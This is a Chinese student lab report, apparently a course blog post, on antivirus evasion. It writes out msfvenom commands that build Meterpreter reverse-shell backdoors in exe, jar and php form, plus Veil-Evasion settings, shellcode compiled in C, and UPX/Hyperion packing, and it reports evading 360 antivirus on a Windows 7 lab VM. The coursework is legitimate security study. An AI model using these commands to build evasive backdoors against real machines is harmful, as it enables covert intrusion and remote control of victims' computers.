zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165329 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165329 Exp3 免杀原理与实践

    1. 实践内容(3.5分)

      1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

      1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)

    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

      1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

    2 报告内容:

      2.1.基础问题回答

      (1)杀软是如何检测出恶意代码的?

      (2)免杀是做什么?

      (3)免杀的基本方法有哪些?

      2.2.实践总结与体会

      2.3.开启杀软能绝对防止电脑中恶意代码吗?

      2.4.实践过程记录

    3.报告评分 1分

      3.1 报告整体观感 0.5分

          3.1.1 报告格式范围,版面整洁 加0.5。

          3.1.2 报告排版混乱,加0分。

      3.2 文字表述 0.5分

         3.2.1报告逻辑清楚,比较简要地介绍了自己的操作目标与过程 加0.5分。

         3.2.2报告逻辑混乱表述不清或文字有明显抄袭可能 加0分

    免杀基础问题回答

    1、杀软是如何检测出恶意代码的?

    • 是基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代码,当一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)。
    • 是启发式恶意软件检测(很简单,就是根据些片面特征去推断,也就是进行检测,当某个软件或者程序想干一些看起来像是恶意软件干的事情,那么机会被定义为恶意软件,检测效果比较显著,可以检测0-day恶意软件,但通常是因为缺乏精确判定依据,并且因为需要一直检测,所以开销比较大)。
    • 是基于行为的恶意软件检测(在启发式上加入了行为监控,基于动态的监控)。

    2、免杀是做什么?

    • 防止被杀软检测出来

    3、免杀的基本方法有哪些?

    • 改变特征码 比如加壳啥的。
    • 自己手写恶意代码避开易被查杀的特征码 制作恶意软件。

    实践总结与体会

            通过本次实验,我了解到了免杀的概念、免杀的方法,熟练掌握了使用 VirusTotal、Virscan这些工具的方法,能够有条理、有目的的对后门动手实现一些免杀的处理,再一次温习了实验二中主机之间监听、控制的操作,加深了印象,总之,经过这次实练自己的动手能力和对知识的理解程度有了一定的提升。

    离实战还缺些什么技术或步骤?

            感觉自己现在也只是会参考其他同学的博客,看看别人怎么实现了免杀自己再按照那个方向试试,但是缺乏自己的想法,真正的实战肯定是要啃难啃的骨头,别热嚼碎了的东西肯定是没有太大价值的,我觉得自己要是想真正具备上战场的能力,还是要多查询资料,多动脑。此外,虽然程序能够实现免杀,但如何让被控主机运行它也是一个问题,所以接下来要对如何伪装、吸引被供给端点击这方面进行学习,我觉得这也是自己离实战缺乏的技术。

    开始实验

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    1. 正确使用msf编码器,生成exe文件

    • 在实验二中使用msf生成了后门程序,我们可以使用VirusTotalVirscan这两个网站对生成的后门程序进行扫描。

    • 用VirusTotal扫描后结果如下:

    • 在使用Virscan网站时,如果文件名中有数字就会出现以下错误,需要改名
    • 改名过后Virscan网站的扫描结果如下:

    由此可见不加任何处理的后门程序能够被大多数杀软检测到,下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。

    • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.1.155 LPORT=5329 -f exe > msf20165329.exe

    • 十次编码使用命令:-i设置迭代次数
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.1.155 LPORT=5329 -f exe > msf5329.exe

    • 将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:

      可见多次编码对免杀没有太大的效果。

    2. msfvenom生成jar文件

    • 生成java后门程序使用命令:
      msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5329 x> hjw_backdoor_java.jar
    • 生成文件如下所示:

    • 扫描结果如下:

    3. msfvenom生成php文件

    • 生成PHP后门程序使用命令:
      msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5329 x> 5329_backdoor.php
    • 生成文件如下所示:

    • 扫描结果如下:

    4. 使用veil-evasion生成后门程序及检测

    安装veil

    • mkdir -p ~/.cache/wine
      cd ~/.cache/wine 
      wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
      wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
      • sudo apt-get install veil-evasion命令安装Veil

      • 之后用veil打开veil,输入y继续安装直至完成:

    • 输入veil指令,会出现下面这个界面

    • use evasion命令进入Evil-Evasion

    • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

    • 设置反弹连接IP,命令为:set LHOST 192.168.1.156,注意此处的IP是KaliIP;

    • 设置端口,命令为:set LPORT 5329

    • 输入generate生成文件,接着输入你想要playload的名字:veil_c_5329
    • 检测一下:


      行吧,还是一样的会被检查出来。

    5. 半手工注入Shellcode并执行

    • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5329 -f c用c语言生成一段shellcode;

    • 创建一个文件20165329.c,然后将unsigned char buf[]赋值到其中,代码如下:
    • 使用命令:i686-w64-mingw32-g++ 20165329.c -o 20165329.exe编译这个.c文件为可执行文件;

    • 检测结果如下图:

    • 当想要使用windows上执行该程序时,被电脑的360卫士查杀。

    6.加壳尝试一下

    • 使用压缩壳(UPX)

    • 给之前的20165329.exe加个壳得到hjw_upxed.exe:

      • 还是被杀软查杀了。

      • 如果我们想要测试一下他是否可以反弹连接又不想被查杀怎么办呢?——设置白名单,我用的是360卫士.


        就ok啦,后面想要测试连接就可以这样做了,但是这样并不是杀软与病毒共存,只是让杀软不再检查这个目录而已。

      • 因为要回连,我将hjw_upxed.exe放到了ncat文件夹里面方便操作,查看连接情况,可以反弹连接

    • 加密壳Hyperion
      • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
      • 进入目录/usr/share/windows-binaries/hyperion/
      • 输入命令wine hyperion.exe -v hjw_upxed.exe hjw_upxed_Hyperion.exe进行加壳:


      • 尝试一下反弹连接

      • 检查一下

       

    任务二:通过组合应用各种技术实现恶意代码免杀

    • 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
    • 任务成功截图:

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 实验环境:被控机是Win7虚拟机,360安全卫士11.4.0.2003
    • 攻击成功,可以查看他的文件夹
    • 与5311李嘉昕共同完成

     

  • 相关阅读:
    codeforces 349B Color the Fence 贪心,思维
    luogu_2022 有趣的数
    luogu_2320 [HNOI2006]鬼谷子的钱袋
    luogu_1879 [USACO06NOV]玉米田Corn Fields
    SAC E#1
    luogu_1984 [SDOI2008]烧水问题
    luogu_2085 最小函数值
    luogu_1631 序列合并
    luogu_1196 银河英雄传说
    luogu_1037 产生数
  • 原文地址:https://www.cnblogs.com/hjwzzj/p/10618108.html
Copyright © 2011-2022 走看看